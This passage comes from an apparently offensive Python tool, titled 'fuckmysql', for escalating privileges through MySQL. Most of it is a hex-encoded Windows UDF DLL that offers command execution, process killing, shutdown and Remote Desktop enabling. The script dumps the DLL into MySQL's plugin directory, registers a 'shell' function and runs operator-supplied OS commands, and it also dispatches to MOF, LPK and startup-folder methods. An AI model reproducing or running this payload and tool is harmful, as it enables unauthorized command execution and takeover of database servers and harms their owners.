30010EB3083F8017514516A06FF152C41001085C0753D6830430010EB1783F802751B516A0CFF152C41001085C07524681C4300108B0656FF500859EB1583F80375046A01EB0783F80475086A02E813FFFFFF5933C0405EC3558BEC837D0C027C288B45108B400480382D751D4050FF15FC40001085C0597C1083F8047F0B50FF7508E841FFFFFFEB0E8B45088B08688843001050FF5108595933C05DC3A13060001085C0752168504400106844440010FF154040001050FF153C40001085C0A3306000107501C36A01FF74240C6A00FFD00FB6C0C3A12860001085C07521686C4400106860440010FF154040001050FF153C40001085C0A3286000107501C36A01FF742408FFD0C3558BEC83EC6456578D45E8508D45E4506A0133FF5757E85D1400003BC78945DC751F8B75088B3EFF15A040001050681045001056FF570883C40C33C0E929010000538B5D088B0368B844001053FF5008397DE88B75E45959897DF00F86FD0000008D45EC508D45FC506A0E897DFC897DF8897DF4FF3657E8F61300008D45EC508D45F8506A0AFF3657E8E41300008D45EC508D45F4506A05FF3657E8D2130000FF7608E825FFFFFF5957576A208D4D9C51508945E0FF15E4400010598D44000250FF75E05757FF15444000108B45FC83380275280FB64809510FB64808510FB648070FB6400651508D45BC68AC44001050FF150441001083C418EB118D45BC68A444001050FF150441001059598B038D4D9C518D4DBC51FF75F8FF75F4FF7604FF36687C44001053FF500883C420FF75FCE836130000FF75F8E82E130000FF75F4E82613000057E82013000083C60CFF45F08B45F03B45E80F8203FFFFFFFF75E4E8061300008B45DC5B5F5EC9C3560FB774240C85F674426A00566A006A0468E045001068984500106802000080E811FCFFFF83C41C85C08B4424088B08740F56686445001050FF510883C40C5EC3683C45001050FF510859595EC3558BEC83EC0C8365F8008365FC0056576A048D45FC50BF9C460010576870460010BE0200008056C745F401000000E864FBFFFF83C41485C07449837DFC0275436A048D45FC5057684046001056E845FBFFFF83C41485C0742A837DFC0275246A048D45F8506834460010BF004600105756E821FBFFFF83C41485C07406837DF800750432C0EB246A048D45F45068EC4500105756E8FEFAFFFF83C41485C07504B001EB07837DF4000F94C05F5EC9C3E84CFFFFFF84C0B9D04600107505B9C44600108B4424048B105168A446001050FF520883C40CC3558BEC83EC108D45FC5068190002006A0068984500106802000080C745F83D0D0000C745F004000000C745F450000000FF150840001085C075488D45F4508D45F8508D45F0506A0068E0450010FF75FCFF150C40001085C0751FFF75F88B45088B0868F046001050FF510883C40CFF75FCFF1510400010C9C3FF75FCFF15104000108B45088B0868D846001050FF51085959C9C3FF742404E83CFFFFFF59E95DFFFFFF515355565733DB536A02536A04BF9C460010576870460010BE0200008056E84CFAFFFF536A02536A0457684046001056E83AFAFFFF8944244833C0385C24546A010F94C0BF0046001050536A0468EC4500105756E816FAFFFF8BE883C4543BEB7406385C241C742133C0385C241C530F95C050536A0468344600105756E8EDF9FFFF83C41C3BC375043BEB7420395C2410741A385C241C8B4424188B0874076850470010EB126830470010EB0B8B4424188B08680C47001050FF510859595F5E5D5B59C3B802310010E8D10E000083EC18837D0C027D158B45088B0868A047001050FF51085959E9EE00000053565733F656FF75108D4DDCFF750CE8ECF1FFFF68984700108D4DDC8975FCE890F2FFFF8B5D0833FF4785C07415FF75F08BF7FF15FC4000105053E80DFDFFFF83C40C68904700108D4DDCE8FBF1FFFF84C0740357EB1368884700108D4DDCE8E7F1FFFF84C0740C6A00538BF7E8A2FEFFFF595968804700108D4DDCE8CAF1FFFF84C07409538BF7E878FEFFFF5968784700108D4DDCE8B0F1FFFF84C07409538BF7E838FBFFFF5968704700108D4DDCE8FFF1FFFF85C07415FF75F08BF7FF15FC4000105053E8A9FAFFFF83C40C85F6750D8B0368A047001053FF50085959834DFCFF8D4DDCE83CF1FFFF5F5E5B8B4DF433C064890D00000000C9C3568B7424108326006A106890490010FF742414E8BF0D000083C40C85C075108B44240889068B0850FF510433C0EB05B8024000805EC20C008B44240483C00450FF1548400010C20400568B742408578D460450FF154C4000108BF885FF750D85F674098B066A018BCEFF500C8BC75F5EC20400F644240401568BF1C70680490010740756E8C10C0000598BC65EC20400568BF18B861C0100005733FF3BC7740D50FF155840001089BE1C0100008B86180100003BC7740D50FF15A440001089BE180100005757576A0457FF760CFF15544000103BC7898618010000750433C0EB15575757681F000F0050FF155040001089861C0100005F5EC383B91C0100000074128B490C83F9FF740A6A0051FF155C400010C333C0C351FF1548400010C38B4424048B1534600010EB028BC18B48083BCA75F7C38B4424048B1534600010EB028BC18B083BCA75F8C38B5424048B02568B700889328B70083B353460001074038956048B72048970048B49043B51045E7505894104EB0F8B4A043B51087505894108EB028901895008894204C20400568BF18B0E83791400750D8B410439480475058B4108EB1E8B013B0534600010740D50E867FFFFFF59EB0B89068BC88B41043B0874F589065EC3568BF18B0E8B41083B0534600010740D50E855FFFFFF59EB1389068BC88B41043B480874F48B0E394108740289065EC38B44240485C0740E8B4C24088B1189108B4904894804C353568BF133DB895E04C74608A049001068C849001053C706B8490010C74608AC490010FF15D8400010834E0CFF5959885E10899E18010000899E1C010000C78614010000010000008BC65E5BC3558BECB800200000E80C0B00008D451050FF750C8D8500E0FFFF50FF15D44000108B4D088B1183C40C508D8500E0FFFF50FF5204C9C3568BF1E814000000F644240801740756E8A10A0000598BC65EC20400568BF18B861C01000085C0C706B8490010C74608AC490010740750FF15584000108B861801000085C0578B3DA4400010740350FFD78B460C83F8FF740350FFD783BE14010000005F740F8D4610803800740750FF15AC400010C706804900105EC3566820010000E8450A000085C059740B8BC8E8E9FEFFFF8BF0EB0233F685F674068B0656FF50048BC65EC3558BEC518365FC00837D0CFF568BF1750CFF7508E8060A00005989450C837E04FF75106A016A008D4EF8E82100000085C074186A008D45FC50FF750CFF7508FF7604FF15984000108B45FC5EC9C20800558BEC81EC04010000568BF1578DBE1C0100008B0785C0740A50FF15584000108327008DBE180100008B0785C0538B1DA4400010740650FFD38327008B460C83F8FF740750FFD3834E0CFF83BE1401000000740F8D4610803800740750FF15AC400010837D08007412FF75088D7E1057E8E2090000595933DBEB278D85FCFEFFFF506804010000FF156C4000108D7E105733DB53538D85FCFEFFFF50FF156840001053536A02535368000000C057FF156440001083F8FF89460C5B7507C6070033C0EB0C8B450C89861401000033C0405F5EC9C208008B5424048B4208568B308972088B303B353460001074038956048B72048970048B49043B51045E7505894104EB0E8B4A043B1175048901EB038941088910894204C204008B41048B48048B15346000103BCA741A568B7424088B3639710C7D058B4908EB048BC18B093BCA75EE5EC204005356578B7C24103B3D346000108BD98BF7741DFF76088BCBE8E3FFFFFF8B3657E8520800003B3534600010598BFE75E35F5E5BC20400558BEC83EC105356894DF8578B7D0C8D4D0CE8AAFCFFFF8B37A1346000103BF08D5F08897DFC895DF475048B33EB188B0B3BC8741251E8F1FBFFFF8945FC83C0088B30598945F48D4DF0FF15B84000108B45FC3BC774608B0F8941048B0F89083B037505894604EB178B48048B55F4894E048B480489318B0B890A8B0B8941048B5DF88B4B043979047505894104EB0E8B4F04393975048901EB038941088B4F048948048B48148B5714895014894F14897DFC8BC7EB7B8B48048B55F8894E048B4A043979047505897104EB0E8B4F04393975048931EB038971088B4A043939894DF475238B1B3B1D3460001075078B5F048919EB1256E830FBFFFF8B55F8598B4DF489018B45FC8B5A04397B08751F8B0F3B0D3460001075088B4F04894B08EB0D56E8EEFAFFFF8943088B45FC598B5DF833FF473978140F850B010000E9B9000000397E140F85FA0000008B4E048B013BF075728B410883781400751A8978148B460483601400FF76048BCBE8E7FDFFFF8B46048B40088B0839791475088B4808397914746E8B480839791475178B0889791483601400508BCBE8A1FAFFFF8B46048B40088B4E048B49148948148B4E048979148B4008897814FF76048BCBE894FDFFFFEB7F8378140075198978148B460483601400FF76048BCBE860FAFFFF8B46048B008B4808397914751C8B083979147515836014008B76048B43043B70040F853BFFFFFFEB3C8B0839791475178B480889791483601400508BCBE836FDFFFF8B46048B008B4E048B49148948148B4E048979148B00897814FF76048BCBE8FBF9FFFF897E148D4DF0FF15BC400010FF75FCE8E7050000FF4B0C8B4508598B4D0C5F5E89085BC9C20800558BEC51568BF1837E0C008B4D0C74388B46043B087531394510752CFF70048BCEE837FDFFFF8B0D346000108B46048948048B460483660C0089008B46048940088B46048B08EB253B4D107420578BF98D4D0CE8FCF9FFFF578D45FC508BCEE82FFDFFFF8B4D0C3B4D1075E25F8B450889085EC9C20C00558BEC5156578B7D0C578BF1E8A8FCFFFF8B76043BC689450C740C8B0F3B480C7C058D450CEB068975FC8D45FC8B088B45085F89085EC9C20800558BEC51515356576A188BF9E8290500008BF05933DB8D4DF8895E04C74614010000008975FCFF15B8400010391D346000107513893534600010891EA134600010895DFC895808FF05386000108D4DF8FF15BC400010395DFC7409FF75FCE8C0040000598B35346000106A18E8C9040000897004895814894704895F0C5989008B47045F5E8940085BC9C3558BEC5356576A188BD9E8A00400008B7510FF75148BF883671400897704A1346000108907A1346000108947088D470C50E812F9FFFF83C40CFF430C3B730474258B450C3B0534600010751A8B45148B003B460C7C10897E088B43043B7008751C897808EB17893E8B43043BF075088978048B4304EBEA3B30750289388B43043B78048BF70F84B00000008B4604837814000F85A30000008B50048B0A3BC175598B4A0883791400751E8B560433C0408942148941148B46048B4004836014008B46048B7004EB673B7008750A8BF0568BCBE8D9FAFFFF8B4604C74014010000008B46048B4004836014008B4604FF70048BCBE8A0F7FFFFEB358379140074AA3B30750A8BF0568BCBE88AF7FFFF8B4604C74014010000008B46048B4004836014008B4604FF70048BCBE881FAFFFF8B43043B70040F8550FFFFFF8B43048B4004C74014010000008B450889385F5E5B5DC21000558BEC51568BF18B46048B0850518D45FC508BCEE857FDFFFFFF7604E8230300008366040083660C00598D4DFC33F6FF15B8400010FF0D38600010750D8B3534600010832534600010008D4DFCFF15BC40001085F6740756E8E7020000595EC9C3558BEC515356578BF98B47048B70048BD8A1346000103BF0B201741C8B4D0C8B093B4E0C8BDE0F9CC284D274048B36EB038B76083BF075E9807F08007405FF750CEB2684D28BCB894DFC74128B47043B1874EB8D4DFCE8CEF6FFFF8B4DFC8B510C8B450C3B107D195053568D450C508BCFE8D5FDFFFF8B088B4508C6400401EB078B4508C64004005F5E89085BC9C20800568BF18D461450FF15704000108D4E045EE9F8FEFFFF558BEC515153568BF18D461457508945F8FF15784000108D4508508D45FC8D5E04508BCBE8B6FCFFFF8B7DFC3B7E0874198B471085C074068B0850FF5108578D4508508BCBE8B1F9FFFFFF75F8FF15744000105F5E5BC9C20400558BEC5151FF750C8D45F850E8EEFEFFFF8B45088B4DF889088A4DFC884804C9C20800568BF18D4E04C6410800E88DFCFFFF8326008D461450FF157C4000108BC65EC3558BEC83EC108B45088B008365FC008945F88D45F8508D45F050E89EFFFFFF8B0083C010C9C20400558BEC518B4518568B75148326008308FF837D0C00894DFC750CA1146000108906E94A010000538B1DCC400010578B7D1068784A0010FF37FFD385C059590F842301000068744A0010FF37FFD385C059590F8410010000E8E2F6FFFF8BF085F6750E8B4514C700644A0010E9FE00000068604A0010FF37FFD385C0595975158D46085057FF750CE809E4FFFF83C40CE99700000068584A0010FF37FFD385C05959750F8D46085057FF750CE84AE4FFFFEBDA684C4A0010FF37FFD385C05959750F57FF750C8D460850E892EDFFFFEBBC68484A0010FF37FFD385C05959750F57FF750C8D460850E850E7FFFFEB9E68404A0010FF37FFD385C05959750F57FF750C8D460850E8FFF1FFFFEB808D7E088B0768284A001057FF50088B0759596AFFFF35146000108BCFFF50048BCEE88BF3FFFF8B4D1489018BCEE8E8F3FFFF8B5DFC8B4D188D7B14578901FF15784000108D4508508D4B04E87CFEFFFF578930FF1574400010EB07A11460001089065F5B33C05EC9C21400FF742404E80200000059C3FF2500410010FF25F4400010FF25F0400010FF25E8400010CCCCCCCCCCCCCCCCCCCC513D001000008D4C2408721481E9001000002D0010000085013D0010000073EC2BC88BC485018BE18B088B400450C3CCFF25C4400010CCCCCCCCCCCCCCCCCCCC6AFF5064A100000000508B44240C64892500000000896C240C8D6C240C50C3CCFF25E0400010FF25DC400010FF25D04000108B44240885C0750E39053C6000107E2EFF0D3C6000108B0D1041001083F8018B09890D40600010753F6880000000FF150841001085C059A348600010750433C0EB66832000A14860001068046000106800600010A344600010E8EA000000FF053C6000105959EB3D85C07539A14860001085C074308B0D44600010568D71FC3BF072128B0E85C97407FFD1A14860001083EE04EBEA50FF150041001083254860001000595E6A0158C20C00558BEC538B5D08568B750C578B7D1085F67509833D3C60001000EB2683FE01740583FE027522A14C60001085C07409575653FFD085C0740C575653E815FFFFFF85C0750433C0EB4E575653E80BE4FFFF83FE0189450C750C85C07537575053E8F1FEFFFF85F6740583FE037526575653E8E0FEFFFF85C0750321450C837D0C007411A14C60001085C07408575653FFD089450C8B450C5F5E5B5DC20C00FF25C8400010FF2524410010FF2518410010FF251C410010FF2520410010FF2538410010FF253C410010FF25344100108D4DDCE9C2E1FFFFB8884A0010E934FEFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000BE4F0000AC4F00009C4F0000884F00007A4F0000644F0000504F00003C4F0000244F00000C4F0000DE4F0000D04F000000000000724D0000824D0000904D0000A24D0000B24D0000C84D0000E04D0000F84D0000084E00001E4E0000304E00005E4D00004C4E00005A4E00006E4E00007E4E0000964E0000AE4E0000C64E0000504D00003E4D00002C4D00001C4D0000104D0000FA4C0000EE4C0000E64C0000D64C0000C84C0000B44C00003E4E0000A44C000000000000325000001850000000000000D65000003A51000022510000185100000C51000000510000F4500000EA500000CC500000C2500000B8500000A85000009E50000092500000645000006C500000745000007E5000008850000046510000000000006C510000845100009A5100005651000000000000F04E000000000000E2510000B4510000C451000000000000FC4F00000000000000000000636D642E657865202F6320257300000055736167653A636D6420226E65742075736572220D0A0D0A0000000055736167653A6578656320226E65742075736572220D0A0D0A000000CB120010000000000D0A7073202D6C0920C1D0B3F6CBF9D3D0BDF8B3CC0D0A7073202D6D73206E616D650920C1D0B3F6BCD3D4D8C1CBD6B8B6A8C4A3BFE9C3FBB5C4BDF8B3CC0D0A7073202D6D70207069640920C1D0B3F6D6B8B6A8BDF8B3CCB5C4CBF9D3D0C4A3BFE90D0A7073202D6B70207069640920B9D8B1D5D2BBB8F6BDF8B3CC0D0A7073202D6B6E206E616D650920B9D8B1D5CBF9D3D0D6B8B6A8B5C4BDF8B3CCC3FB0D0A0000002573093C3078252E38583E0D0A0000004D6F64756C65506174680942617365416464726573730D0A0000000025640925735C25730925730D0A000000456E756D50726F6365737365732829206572726F722E0D0A000000005365446562756750726976696C656765000000007073202D6B6E206E616D650D0A7073202D6B70207069640D0A0000007073202D6D73206E616D650D0A7073202D6D70207069640D0A00000052746C41646A75737450726976696C65676500005A7753687574646F776E53797374656D000000004E54444C4C2E444C4C0000004661696C656420546F2053687574646F776E00004661696C656420546F205265626F6F74000000004661696C656420546F204C6F676F66660000000049732054616B696E6720506C6163652E2E2E2E2E2E0D0A00536553687574646F776E50726976696C656765000000000055534147453A0D0A20202020202073687574646F776E205B202D30313233345D0D0A2020202020202D30202020206C6F676F66662E0D0A2020202020202D31202020207265626F6F742E0D0A2020202020202D3220202020706F7765726F66662E0D0A2020202020202D33202020207375706572207265626F6F742E0D0A2020202020202D342020202073757065722073687574646F776E2E0D0A6578616D706C653A0D0A20202020202073687574646F776E202D330D0A0000000077696E7374612E646C6C000057696E53746174696F6E5265736574005554494C444C4C2E646C6C00537472436F6E6E656374537461746500252D3131642020252D3133732020252D3133732020252D3133732020252D313573202025730D0A00202020200000000025642E25642E25642E25640053657373696F6E49442020202053657373696F6E4E616D6520202020557365724E616D6520202020202020436C69656E744E616D6520202020202020495020202020202020202020202020202053746174650D0A00000000456E756D6572617465205465726D696E616C2053657373696F6E73204661696C65642E2025640D0A000000004661696C20546F20536574204E6577205465726D696E616C205365727669636520506F72740D0A00546865205465726D696E616C205365727669636520506F727420486173204265656E2053657420546F2025640D0A00000000000053595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D54637000000000506F72744E756D62657200006644656E795453436F6E6E656374696F6E73000053595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C20536572766572000000005453456E61626C656400000053595354454D5C43757272656E74436F6E74726F6C5365745C53657276696365735C5465726D5365727669636500000053595354454D5C43757272656E74436F6E74726F6C5365745C53657276696365735C5465726D44440000000053746172740000005465726D696E616C2053657276696365205374617475733A2025730D0A00000044697361626C656400000000456E61626C6564005265674F70656E4B65794578204572726F722E0D0A0000005465726D696E616C205365727669636520506F72743A2025640D0A00536574204E6577205465726D696E616C2053657276696365204661696C65640D0A000000536574205465726D696E616C20536572766963652044697361626C65640D0A00536574205465726D696E616C205365727669636520456E61626C65642E0D0A006C6F676F666600007175657279000000766965770000000064697361626C6500656E61626C65000070000000000000004445534352495054494F4E3A0D0A202020202020202020202020436F6E666967205465726D696E616C205365727669636520537570706F72747320323030302F78702F323030332E0D0A55534147453A0D0A2020202020207465726D737663202D656E61626C65202D64697361626C65202D76696577202D70203C6E6577706F72743E202D7175657279202D6C6F676F6666203C73657373696F6E2069643E0D0A2020202020202D656E61626C6520202020456E61626C65205465726D696E616C20536572766963652E0D0A2020202020202D64697361626C6520202044697361626C65205465726D696E616C20536572766963652E0D0A2020202020202D7669657720202020202056696577205465726D696E616C20536572766963652053657474696E67732E0D0A2020202020202D70202020202020202020536574204E6577205465726D696E616C205365727669636520506F72742E0D0A6578616D706C653A0D0A2020202020207465726D737663202D71756572790D0A2020202020207465726D737663202D6C6F676F666620310D0A2020202020207465726D737663202D656E61626C65202D7020333339390D0A2020202020207465726D737663202D7020333339390D0A2020202020207465726D737663202D766965770D0A0099210010D1210010E22100100C2200100000000000000000C000000000000046762F0010762F0010762F0010F7230010D5240010F723001099210010D1210010E22100102D2400102E4F4350000000000D0A68656C700D0A436D6420202020202020202D3E0D0A45786563202020202020202D3E0D0A53687574646F776E2020203D3E0D0A70732020202020202020203D3E0D0A5465726D537663202020203D3E0D0A0D0A000000556E6B6E6F776E20436F6D6D616E642E3A28200D0A0D0A005465726D537663007073000073687574646F776E000000004578656300000000436D6400455F4F55544F464D454D4F52590000003F00000068656C7000000000FFFFFFFFFA3000102005931901000000804A0010000000000000000000000000000000008C4B00000000000000000000E24E000034400000844C00000000000000000000004F00002C410000584B00000000000000000000EE4F0000004000009C4C000000000000000000000E50000044410000104C000000000000000000004C500000B84000001C4C000000000000000000002E510000C4400000704C00000000000000000000AA510000184100008C4C00000000000000000000FA510000344100000000000000000000000000000000000000000000BE4F0000AC4F00009C4F0000884F00007A4F0000644F0000504F00003C4F0000244F00000C4F0000DE4F0000D04F000000000000724D0000824D0000904D0000A24D0000B24D0000C84D0000E04D0000F84D0000084E00001E4E0000304E00005E4D00004C4E00005A4E00006E4E00007E4E0000964E0000AE4E0000C64E0000504D00003E4D00002C4D00001C4D0000104D0000FA4C0000EE4C0000E64C0000D64C0000C84C0000B44C00003E4E0000A44C000000000000325000001850000000000000D65000003A51000022510000185100000C51000000510000F4500000EA500000CC500000C2500000B8500000A85000009E50000092500000645000006C500000745000007E5000008850000046510000000000006C510000845100009A5100005651000000000000F04E000000000000E2510000B4510000C451000000000000FC4F00000000000071025365744C6173744572726F7200009E025465726D696E61746550726F6365737300001B00436C6F736548616E646C65001A014765744C6173744572726F7200009602536C65657000DF02577269746546696C6500CE0257616974466F7253696E676C654F626A6563740018025265616446696C650000F9015065656B4E616D65645069706500440043726561746550726F63657373410000500147657453746172747570496E666F41004300437265617465506970650000F70047657443757272656E7450726F63657373006D014765745469636B436F756E740000EF014F70656E50726F63657373003E0147657450726F63416464726573730000C2014C6F61644C696272617279410000D2025769646543686172546F4D756C74694279746500B001496E7465726C6F636B6564496E6372656D656E740000AD01496E7465726C6F636B656444656372656D656E740000D6014D6170566965774F6646696C6500350043726561746546696C654D617070696E67410000B002556E6D6170566965774F6646696C6500120147657446696C6553697A6500570044656C65746546696C654100340043726561746546696C654100630147657454656D7046696C654E616D65410000650147657454656D7050617468410000550044656C657465437269746963616C53656374696F6E00C1014C65617665437269746963616C53656374696F6E00006600456E746572437269746963616C53656374696F6E0000AA01496E697469616C697A65437269746963616C53656374696F6E004B45524E454C33322E646C6C0000D3004578697457696E646F77734578005553455233322E646C6C0000170041646A757374546F6B656E50726976696C6567657300F5004C6F6F6B757050726976696C65676556616C7565410042014F70656E50726F63657373546F6B656E0000EF004C6F6F6B75704163636F756E745369644100D000476574546F6B656E496E666F726D6174696F6E005B01526567436C6F73654B6579007B01526567517565727956616C7565457841000072015265674F70656E4B657945784100860152656753657456616C75654578410000640152656744656C65746556616C7565410071015265674F70656E4B657941005E015265674372656174654B6579410041445641504933322E646C6C00002E00436F496E697469616C697A65457800006F6C6533322E646C6C000B013F3F315F4C6F636B697440737464404051414540585A0000A2003F3F305F4C6F636B697440737464404051414540585A00004D5356435036302E646C6C005753325F33322E646C6C00003D0261746F6900005E02667265650000B202737072696E74660091026D616C6C6F63000059015F6D6273636D70005F015F6D627369636D700000BE027374726C656E00000F003F3F3240594150415849405A0000C502737472737472000099026D656D7365740000E6027763736C656E000049005F5F4378784672616D6548616E646C65720096026D656D636D70000092015F7075726563616C6C00AD027365746C6F63616C6500DC0276737072696E74660000BA027374726370790000C1015F73747269636D7000004D53564352542E646C6C00000F015F696E69747465726D009D005F61646A7573745F6664697600000C004765744D6F64756C65426173654E616D654100000E004765744D6F64756C6546696C654E616D6545784100000400456E756D50726F636573734D6F64756C657300000500456E756D50726F6365737365730050534150492E444C4C000800575453467265654D656D6F7279000C00575453517565727953657373696F6E496E666F726D6174696F6E41000600575453456E756D657261746553657373696F6E73410057545341504933322E646C6C000057494E494E45542E646C6C0000000000000000000000000000000000BFC7514B00000000665200000100000003000000030000004852000054520000605200003314000020140000F4130000725200007852000085520000000001000200546573745544462E646C6C007368656C6C007368656C6C5F6465696E6974007368656C6C5F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000D0490010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000140100000F30163039304E305D307330C430F630043110313F3166317C319C31A531BD31F6310F3231323B3242325A327432B332C632D532193336338733A433F833013407340D34293439349634B234C334DB34033510356D357E359D351436CD36D436DC360137373723383238623874389D38B8382B3969398D39AF39E839013A113A403A483A5D3A713A803ACE3ADF3AE53AF33AF83A063B403B503B693B723B823B8B3B9B3BA43BE43B033C123C1B3C203C263C2D3C343C4A3C533C583C5E3C653C6C3CA53CAB3CC43C333D443D683D6F3D7C3D833D9F3DFC3D013E1E3E2C3E4F3E553E803E9E3EA33EC63EEF3EF63E023F203F403F573F603F713F813F8C3F963FBF3FC53FDC3FF63FFF3F000000200000F0000000283051305830653076308E30B230D230E130F53012312C3146315D317231A431DB31EE3116323C32533268328532A832B332BE32D432F43245336D33B633BB33C233C933CF33143456345D34663475349E34A4341935413555358435AE35C335D5350C36473675369336BC36EE368B37B637F0383739E839EE39F639FD39093A123A263A6A3A713A913AD03BD63BDE3BE43BEE3B123C9A3CBA3CF63C3C3D873D953D9E3DB13DD33DDD3D013E1F3E3D3E5B3E7E3E8E3EB83ECD3ED43EF03EF63EFC3E023F423F723F783F7E3F8C3F943F9A3FA53FB23FBA3FC83FCD3FD23FD73FE23FEF3FF93F000000300000280000000E301A30203042305430B030CC30D230D830DE30E430EA30F030F63003310000004000002C00000098318039843988398C39A039A439A839AC39B039B439B839BC39C039C439843A903A0000006000000C00000014300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 into dumpfile '" + dllpath + "'"

    try:
        cursor.execute(sql_mkdir_lib)
    except:
        pass
    try:
        cursor.execute(sql_mkdir_plugin)
    except:
        pass

    # 本地模式强制创建`lib/plugin/`目录
    if conn.host=='127.0.0.1' or conn.host=='localhost':
        try:
            os.makedirs(mysql_rootpath + 'lib/plugin')
        except:
            pass
        dllpath_exist = os.path.exists(mysql_rootpath + 'lib/plugin')
        if dllpath_exist == True:
            print("Made dir '/lib/plugin' by local method successfully!")

    try:
        cursor.execute(sql_dumpfile)
    except:
        pass
    try:
        cursor.execute(sql_dumpDll)
    except:
        pass
    try:
        read_file = "select load_file('%s')"%file_success_path
        cursor.execute(read_file)
        for row in cursor.fetchall():
            if row ==(None,):
                print "Can't dump file or the '/plugin/' dir made UNsuccessfully!"
            else:
                print('Made dir "/lib/plugin" & dumped file Successfully!')
    except:
        pass

    try:
        cursor.execute(sql_create_func)
    except:
        pass
    try:
        cursor.execute(sql_create_func)
    except:
        pass
    #执行udf,取结果
    try:
        cursor.execute(sql_exex_cmd)
        res_cmd_resul = cursor.fetchall()
        for row in res_cmd_resul:
            cmd_result = "%s" % row

        print('Command Query Result:')
        print("-----------------------------------------------------")
        print (cmd_result)
        cursor.execute('drop function shell;')
    except:
        print("DLL file created function failed or it has some anti virus.")

    return;




if __name__ == "__main__":
    parse = argparse.ArgumentParser(description="fuckmysql")
    parse.add_argument('-a','--host', type=str, help="MySQL server ip")
    parse.add_argument('-o','--port', type=int, help="MySQL Port",default=3306)
    parse.add_argument('-u', '--user', type=str, help="mysql UserName",default="root")
    parse.add_argument('-p', '--passwd', type=str, help="mysql password", default='123456')
    parse.add_argument('-e', '--execute', type=str, help="command for UDF to execute",default="whoami")
    parse.add_argument('-m', '--method', type=str, help="elevate method,eg:udf/mof/lpk/st", default="udf")
    args = parse.parse_args()
    if not args.host:
        parse.print_help()
    else:
        mysql_host = args.host
        mysql_passwd = args.passwd
        mysql_port = args.port
        mysql_user = args.user
        cmd_execute = args.execute
        if conn_mysql()=='conn_ok':
            if args.method == "udf":
                udf_dump()
            elif args.method == "mof":
                mof_execute()
            elif args.method == "lpk":
                lpk_dump()
            elif args.method == "st":
                startup_dump()
        else:
            print 'What fucking MySQL!'
